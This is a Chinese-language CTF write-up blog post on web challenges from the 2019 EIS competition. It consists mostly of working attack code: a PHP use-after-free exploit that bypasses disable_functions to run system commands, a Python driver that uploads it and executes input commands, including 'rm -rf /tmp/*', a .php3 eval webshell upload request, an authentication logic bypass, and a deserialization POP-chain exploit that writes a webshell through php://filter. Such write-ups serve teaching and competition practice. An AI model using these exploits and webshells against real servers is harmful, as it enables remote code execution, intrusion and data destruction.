107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import requests
import base64

exp = """
<?php
@pwn($_REQUEST['hacked_by_smi1e']);
function pwn($cmd) {
global $abc, $helper;
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $text_size) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $text_size) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
class ryat {
var $ryat;
var $chtg;
function __destruct()
{
$this->chtg = $this->ryat;
$this->ryat = 1;
}
}
class Helper {
public $a, $b, $c, $d;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if you get segfaults
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_repeat('A', 79);
$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles();
$v = [];
$v[0] = ptr2str(0, 79);
unset($v);
$abc = $out[2][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
?>
"""


url = "http://111.186.57.123:10101/?"


def upload():
r = requests.post(
url + "cmd=file_put_contents('/tmp/.233smi1e123.php',base64_decode($_POST['jingzhe']));",
data={"jingzhe": base64.b64encode(exp.encode('utf-8'))})


def exec(cmd):
r = requests.get(url + "cmd?=", params={"cmd": "include('/tmp/.233smi1e123.php');", "hacked_by_smi1e": cmd})
print(r.text)


if __name__ == '__main__':
while True:
upload()
exec(input())
exec("rm -rf /tmp/*")

flag: flag{bypass_disable_function_by_Nday_9e0c14fbba82b37}

ezupload

比赛的时候没出,全世界都出了,比赛结束才知道被坑了,md。

Hint: No weak password, no need scanner

存在源码备份(/.login.php.swp ):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
error_reporting(0);
session_start();
include "config.php";

$username = $_POST['username'];
$password = $_POST['password'];
if (isset($username)){
$sql = "select password from user where name=?";
if ($stmt = $mysqli->prepare($sql)) {
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($dpasswd);
$stmt->fetch();
if ($dpasswd === $password){
$_SESSION['login'] = 1;
header("Location: /upload.php");
}else{
die("login failed");
}
$stmt->close();
}
}else{
header("Location: /index.php");
}

$mysqli->close();

一看就想sql注入= =但是这里代码写挺好,一看就注不进去。
漏洞出在password处,当$_POST['password']不存在的时候,$password会被赋值为null。同样的,当sql语句查询结果为空时,返回为null$dpasswd就会被赋值为null,这样就能达到成功登陆的目的。
post请求中随便写usrname,不提交password值即可登陆。

登陆成功后是个简单的文件上传功能,随便传个图,返回:

1
array(1) { ["avatar"]=> array(5) { ["name"]=> string(35) "illust_60354621_20170730_211351.jpg" ["type"]=> string(10) "image/jpeg" ["tmp_name"]=> string(14) "/tmp/phpIkG6uP" ["error"]=> int(0) ["size"]=> int(1919322) } } upload success!

返回信息坑死个人= =
以为传到/tmp目录下了,文件名还随机,根本不知道咋利用。
后面才发现实际上是上传到/uploads目录下了,文件名是上传时的filename。
下次看到不需要扫描的hint,直接开扫mmp

文件上传过滤.php后缀,检测文件头但是不检测文件名。
也就是还有.php3等等后缀可以用。
payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /upload.php HTTP/1.1
Host: 111.186.57.123:10501
Content-Length: 227
Cache-Control: max-age=0
Origin: http://111.186.57.123:10501
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBxj5eMGn94pPbGc1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://111.186.57.123:10501/upload.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=a0ba145635a07aa883524ea2171c0d84
Connection: close

------WebKitFormBoundaryBxj5eMGn94pPbGc1
Content-Disposition: form-data; name="avatar"; filename="jingzhe.php3"
Content-Type: image/gif

GIF89a <?php @eval($_POST['jingzhe']);?>
------WebKitFormBoundaryBxj5eMGn94pPbGc1--

getshell后直接读flag。
flag:flag{logical_bypass_not_weak_password}

ezjava

看到java就不想做,后面发现全世界都过了= =

题目提供源码,下载以后解压,class反编译,代码很简单,猜测问题出在依赖库。

调用了fastjson-1.2.47
护网时候爆出来的漏洞, fastjson =< 1.2.47 反序列化。
exp: https://github.com/CaijiOrz/fastjson-1.2.47-RCE

flag: flag{jndi_injection_by_ldap_3232}

ezpop

比赛的时候时间不够了,没做完,赛后做出来了= =

题目给了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
<?php
error_reporting(0);

class A {

protected $store;

protected $key;

protected $expire;

public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}

public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);

foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}

return $contents;
}

public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);

return json_encode([$cleaned, $this->complete]);
}

public function save() {
$contents = $this->getForStorage();

$this->store->set($this->key, $contents, $this->expire);
}

public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}

class B {

protected function getExpireTime($expire): int {
return (int) $expire;
}

public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
}

protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}

$serialize = $this->options['serialize'];

return $serialize($data);
}

public function set($name, $value, $expire = null): bool{
$this->writeTimes++;

if (is_null($expire)) {
$expire = $this->options['expire'];
}

$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);

$dir = dirname($filename);

if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}

$data = $this->serialize($value);

if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}

$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);

if ($result) {
return true;
}

return false;
}

}

if (isset($_GET['src']))
{
highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);

反序列化,构造pop链即可。
A存在__destruct方法,所以肯定是反序列化A。当A::autosave==false成立时,调用A::save()
A::save()中调用了A::store->set(),将A::store赋值为一个B对象,即可调用B::set()

B::set()可以写入文件,且文件名(以及路径)和文件内容后半部分可控。文件内容前半部分中,存在一个exit(),会导致写入的webshell无法执行。
利用base64_decode以及php://filter可以绕过。
参照ph牛的blog:谈一谈php://filter的妙用

php中的base64_decode函数会将不合法字符全部舍弃, 将合法字符组成一个新的字符串进行解码,利用这一点即可达到bypass的目的。
通过php://filter/write=convert.base64-decode将文件内容解码后写入,bypass exit。

然后回溯看看$filename$data是怎么处理的。

$filename
80行调用B::getCacheKey($name),在B::getCacheKey($name)中拼接字符串$this->options['prefix'].$name构成filename。

$data
99行拼接前半部分,通过上面的方法bypass。
94行的分支可以不进入,92行调用B::serialize($value),$valueB::set($name, $value, $expire = null)的参数。
B::serialize($value)调用B::options['serialize']()处理了$value
再看$value
$value实际是A::getForStorage()的返回值。A::getForStorage()返回json_encode([A::cleanContents(A::cache), A::complete]);
A::cleanContents(A::cache)实现了一个过滤的功能,A::complete更容易控制,直接写为shellcode。
由于$value是一个json字符串,然后,json字符串的字符均不是base64合法字符,通过base64_decode可以直接从json中提取出shellcode。
所以将shellcode经过base64编码,B::options['serialize']赋值为base64_decode

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
/*
.........
*/

$b = new B();
$b->options = array('serialize' => "base64_decode", 'data_compress' => false);
$b->options['prefix'] = "php://filter/write=convert.base64-decode/resource=uploads/.jingzhe";
$b->writeTimes = 0;

$a = new A($store = $b, $key = ".php", $expire = 0);
$a->autosave = false;
$a->cache = array();
//base64要补齐字节数
$a->complete = base64_encode("qaq" . base64_encode('<?php @eval($_POST["jingzhe"]);?>'));

echo urlencode(serialize($a));

getshell后直接读取flag即可。
flag: flag{thinkphp_6.0_pop_gadget}


2019 EIS高校运维赛 WriteUp
https://250.ac.cn/2019/11/21/2019-EIS-WriteUp/
Author
惊蛰
Posted on
November 21, 2019
Licensed under